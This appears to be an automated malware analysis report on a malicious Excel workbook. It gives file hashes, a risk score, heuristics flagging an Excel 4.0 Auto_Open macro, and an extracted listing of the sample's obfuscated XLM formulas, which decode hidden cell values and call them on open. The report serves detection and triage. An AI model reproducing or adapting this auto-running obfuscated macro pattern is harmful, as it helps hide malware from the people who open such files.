Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a6a39bf4d4340d2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:55 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 817e9ca773aec880c03d4f5a34f12c4d SHA-1: 1ee94e33fc372230ccfa3c9c4be5738e3bc19578 SHA-256: 1a6a39bf4d4340d27d35f466255ac1f5fc36101e18e96c2b34ccd2a7e3da40b5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6843 bytes
SHA-256: d9aa4521be24af3c8b5b6f7406c5f7bc999f961c77ac6108cc8d1309a74baf1d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PiMFoxpOXYZ
' 0018     22 LABEL : Cell Value, String Constant - ANRyYIB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D153 
' 0018     26 LABEL : Cell Value, String Constant - bZpVDMsmrjj len=0 
' 0018     26 LABEL : Cell Value, String Constant - CwDSbwfEdTU len=0 
' 0018     20 LABEL : Cell Value, String Constant - dYvLN len=0 
' 0018     23 LABEL : Cell Value, String Constant - FvqOCEKj len=0 
' 0018     23 LABEL : Cell Value, String Constant - GjisUbYV len=0 
' 0018     23 LABEL : Cell Value, String Constant - gLiBwcIK len=0 
' 0018     21 LABEL : Cell Value, String Constant - gYRixp len=0 
' 0018     22 LABEL : Cell Value, String Constant - jsTswBZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - jWQQtOciMFj len=0 
' 0018     25 LABEL : Cell Value, String Constant - kAXBdORXAg len=0 
' 0018     22 LABEL : Cell Value, String Constant - kCOfbbV len=0 
' 0018     22 LABEL : Cell Value, String Constant - LAcLnay len=0 
' 0018     24 LABEL : Cell Value, String Constant - nqqsIFhlX len=0 
' 0018     26 LABEL : Cell Value, String Constant - OiMVzdlCyPR len=0 
' 0018     26 LABEL : Cell Value, String Constant - qiwkReoqlNz len=0 
' 0018     20 LABEL : Cell Value, String Constant - tBaXC len=0 
' 0018     21 LABEL : Cell Value, String Constant - thFLRI len=0 
' 0018     25 LABEL : Cell Value, String Constant - XxARbJAYKJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZiuWTSfCu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PiMFoxpOXYZ,P40,"",-570.00000000000000000000
'  PiMFoxpOXYZ,P41,"",-270.00000000000000000000
'  PiMFoxpOXYZ,P42,"",-78.00000000000000000000
'  PiMFoxpOXYZ,P43,"",-375.00000000000000000000
'  PiMFoxpOXYZ,P44,"",927.00000000000000000000
'  PiMFoxpOXYZ,P45,"",-322.00000000000000000000
'  PiMFoxpOXYZ,D62,"SET.NAME("dYvLN",0+VALUE("0"))",""
'  PiMFoxpOXYZ,D67,"SET.NAME("thFLRI",dYvLN)",""
'  PiMFoxpOXYZ,D72,"SET.NAME("ANRyYIB",dYvLN)",""
'  PiMFoxpOXYZ,D74,"SET.NAME("tBaXC",COUNTA(gLiBwcIK))",""
'  PiMFoxpOXYZ,D79,"SET.NAME("FvqOCEKj",COUNTA(gYRixp))",""
'  PiMFoxpOXYZ,D84,[],""
'  PiMFoxpOXYZ,D86,"SET.NAME("bZpVDMsmrjj","")",""
'  PiMFoxpOXYZ,D91,"thFLRI",""
'  PiMFoxpOXYZ,D96,"SET.NAME("nqqsIFhlX",HLOOKUP("*",gLiBwcIK,thFLRI,FALSE))",""
'  PiMFoxpOXYZ,D98,"jWQQtOciMFj",""
'  PiMFoxpOXYZ,D101,"SET.NAME("jsTswBZ",dYvLN)",""
'  PiMFoxpOXYZ,D103,[],""
'  PiMFoxpOXYZ,D108,"jsTswBZ",""
'  PiMFoxpOXYZ,D112,"ZiuWTSfCu",""
'  PiMFoxpOXYZ,D116,"CwDSbwfEdTU",""
'  PiMFoxpOXYZ,D119,"GjisUbYV",""
'  PiMFoxpOXYZ,D122,"SET.NAME("qiwkReoqlNz",VALUE(HLOOKUP("*",gYRixp,GjisUbYV,FALSE)))",""
'  PiMFoxpOXYZ,D124,"kAXBdORXAg",""
'  PiMFoxpOXYZ,D126,"bZpVDMsmrjj",""
'  PiMFoxpOXYZ,D128,"ANRyYIB",""
'  PiMFoxpOXYZ,D131,NEXT(),""
'  PiMFoxpOXYZ,D135,"LAcLnay",""
'  PiMFoxpOXYZ,D137,[],""
'  PiMFoxpOXYZ,D141,"OiMVzdlCyPR",""
'  PiMFoxpOXYZ,D146,NEXT(),""
'  PiMFoxpOXYZ,D151,RETURN(),""
'  PiMFoxpOXYZ,D177,"SET.NAME("kCOfbbV",D62)",""
'  PiMFoxpOXYZ,D179,"gLiBwcIK",""
'  PiMFoxpOXYZ,D181,"SET.NAME("gYRixp",R74C13)",""
'  PiMFoxpOXYZ,D186,"SET.NAME("OiMVzdlCyPR",196)",""
'  PiMFoxpOXYZ,D191,"SET.NAME("XxARbJAYKJ",4)",""
'  PiMFoxpOXYZ,D195,kCOfbbV(),""
'  PiMFoxpOXYZ,D196,HALT(),""